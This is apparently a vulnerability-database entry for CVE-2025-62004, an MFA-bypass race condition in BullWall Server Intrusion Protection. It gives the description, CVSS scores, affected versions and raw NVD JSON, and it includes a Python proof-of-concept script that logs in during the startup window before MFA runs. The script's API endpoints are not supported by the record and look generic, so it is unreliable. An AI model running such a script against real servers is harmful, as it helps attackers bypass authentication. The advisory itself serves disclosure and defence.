Security Vulnerability Report
中文
CVE-2025-62004 CVSS 7.5 HIGH

CVE-2025-62004

Published: 2025-12-18 21:15:54
Last Modified: 2026-01-15 20:16:04
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

BullWall Server Intrusion Protection (SIP) services are initialized after login services during system startup. A local, authenticated attacker can log in after boot and before SIP MFA is running. The SIP services do not retroactively enforce MFA or disconnect sessions that were not subject to SIP MFA. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions mayy also be affected. BullWall plans to improve detection method documentation.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.6:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.7:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:bullwall:server_intrusion_protection:4.6.1.4:*:*:*:*:*:*:* - VULNERABLE
BullWall SIP < 4.6.0.0
BullWall SIP 4.6.0.0
BullWall SIP 4.6.0.6
BullWall SIP 4.6.0.7
BullWall SIP 4.6.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62004 BullWall SIP Authentication Bypass PoC # This PoC demonstrates the timing window for bypassing SIP MFA # Note: This is for educational and authorized testing purposes only import time import requests from datetime import datetime TARGET_HOST = "https://target-bullwall-server" USERNAME = "low_privilege_user" PASSWORD = "user_password" def check_sip_mfa_status(): """Check if SIP MFA service is running""" try: response = requests.get(f"{TARGET_HOST}/api/sip/status", timeout=5) if response.status_code == 200: data = response.json() return data.get('mfa_active', False) except: pass return False def check_login_service_status(): """Check if login service is available""" try: response = requests.get(f"{TARGET_HOST}/api/auth/status", timeout=5) if response.status_code == 200: return True except: pass return False def exploit_timing_window(): """Exploit the race condition during startup""" print(f"[*] Starting timing attack at {datetime.now()}") # Wait for login service to be available print("[*] Waiting for login service...") while not check_login_service_status(): time.sleep(1) print("[+] Login service is available") # Immediately attempt login before SIP MFA starts print("[*] Attempting login before SIP MFA initialization...") login_data = { 'username': USERNAME, 'password': PASSWORD } try: response = requests.post( f"{TARGET_HOST}/api/auth/login", json=login_data, timeout=10 ) if response.status_code == 200: session_token = response.json().get('session_token') print(f"[+] Login successful, session: {session_token}") # Verify session bypasses MFA verify_response = requests.get( f"{TARGET_HOST}/api/sip/session/verify", headers={'Authorization': f'Bearer {session_token}'} ) if verify_response.status_code == 200: print("[+] Session established WITHOUT MFA verification") print("[*] SIP MFA status check:", check_sip_mfa_status()) return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2025-62004 BullWall SIP Timing Attack PoC") print("="*60) result = exploit_timing_window() print(f"\n[*] Exploit {'SUCCESSFUL' if result else 'FAILED'}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62004", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-18T21:15:54.383", "lastModified": "2026-01-15T20:16:04.317", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "BullWall Server Intrusion Protection (SIP) services are initialized after login services during system startup. A local, authenticated attacker can log in after boot and before SIP MFA is running. The SIP services do not retroactively enforce MFA or disconnect sessions that were not subject to SIP MFA. Versions 4.6.0.0, 4.6.0.6, 4.6.0.7, and 4.6.1.4 are affected. Other versions mayy also be affected. BullWall plans to improve detection method documentation."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0C87A4BD-8446-495A-858F-350C7A123953"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.6:*:*:*:*:*:*:*", "matchCriteriaId": "CBB35A27-59EA-4D0A-A6F7-75104CDFCB8D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.0.7:*:*:*:*:*:*:*", "matchCriteriaId": "371D0AA2-A7EB-4FBF-AC12-A6496CC72319"}, {"vulnerable": true, "criteria": "cpe:2.3:a:bullwall:server_intrusion_protection:4.6.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "E1B28813-CED9-4AD4-9653-CEAEAFECD8EE"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-352-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-62004", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}